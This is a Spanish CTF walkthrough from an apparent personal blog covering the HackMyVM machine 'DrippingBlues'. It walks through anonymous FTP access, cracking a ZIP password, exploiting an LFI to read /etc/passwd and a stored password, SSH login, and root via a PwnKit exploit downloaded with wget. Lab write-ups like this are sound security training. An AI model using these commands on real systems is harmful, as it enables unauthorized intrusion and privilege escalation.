cd ~/blog

~/writeups/hmv/103-drippingblues.md

103 - DrippingBlues

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Weak Password en un archivo ZIPLFI con Credential ExposurePwnKit (CVE-2021-4034)
hackmyvm.eu/machines/machine.php?vm=DrippingBlues

~1 min de lectura


Enumeración de servicios

El objetivo expone FTP, SSH y HTTP. Nmap confirma que FTP admite acceso anónimo y que contiene respectmydrip.zip; además, robots.txt anuncia dos rutas que no aparecen en la navegación normal:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.22
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.22
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-27 22:55 -04
Nmap scan report for 192.168.1.22
Host is up (0.00027s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 0        0             471 Sep 19  2021 respectmydrip.zip [NSE: writeable]
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/dripisreal.txt /etc/dripispowerful.html
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Recuperación del archivo expuesto por FTP

Descargamos respectmydrip.zip sin credenciales. El archivo está protegido por una Weak Password; zip2john convierte su cabecera en un formato que John puede atacar y rockyou.txt permite recuperarla:

❯ zip2john zip_files/respectmydrip.zip > hash
❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
072528035        (respectmydrip.zip/respectmydrip.txt)
...

Explotación de la inclusión local de archivos

La pista recuperada conduce a index.php. Fuzzeamos nombres de parámetros enviando /etc/passwd como valor; -fw 13 elimina la respuesta base y resalta el parámetro que modifica el contenido:

❯ ffuf -u 'http://192.168.1.22/index.php?FUZZ=../../../../../../etc/passwd' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -fw 13
...
drip   [Status: 200, ...]
...

❯ curl http://192.168.1.22/index.php\?drip\=/etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
thugger:x:1001:1001:,,,:/home/thugger:/bin/bash

La respuesta contiene cuentas reales del sistema, lo que confirma la LFI y revela que thugger dispone de una shell válida. Aprovechamos la misma vulnerabilidad para leer /etc/dripispowerful.html, una de las rutas anunciadas por robots.txt, y obtenemos una contraseña:

❯ curl "http://192.168.1.22/index.php?drip=/etc/dripispowerful.html"
...
password is:
imdrippinbiatch
...

❯ ssh thugger@192.168.1.22
thugger@192.168.1.22's password: imdrippinbiatch
thugger@drippingblues:~$

La contraseña funciona por SSH para thugger, con lo que obtenemos una terminal estable y recuperamos la primera flag.

Enumeración local

Buscamos binarios con el bit SUID. Estos programas se ejecutan con el UID efectivo de su propietario y, cuando pertenecen a root, merecen revisión porque un fallo puede permitir elevar privilegios:

thugger@drippingblues:/tmp$ find / -perm -4000 2>/dev/null
...
/usr/bin/pkexec
...

Escalada de privilegios con PwnKit

La versión instalada de pkexec es vulnerable a PwnKit (CVE-2021-4034). Transferimos el exploit, le damos permisos de ejecución y lo lanzamos; el fallo permite que un usuario local sin privilegios fuerce la ejecución de código con EUID 0:

thugger@drippingblues:/tmp$ wget -O PwnKit https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit
thugger@drippingblues:/tmp$ chmod +x PwnKit
thugger@drippingblues:/tmp$ ./PwnKit
root@drippingblues:/tmp#

El prompt root@drippingblues confirma que el exploit abrió una shell privilegiada, desde donde recuperamos la flag final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados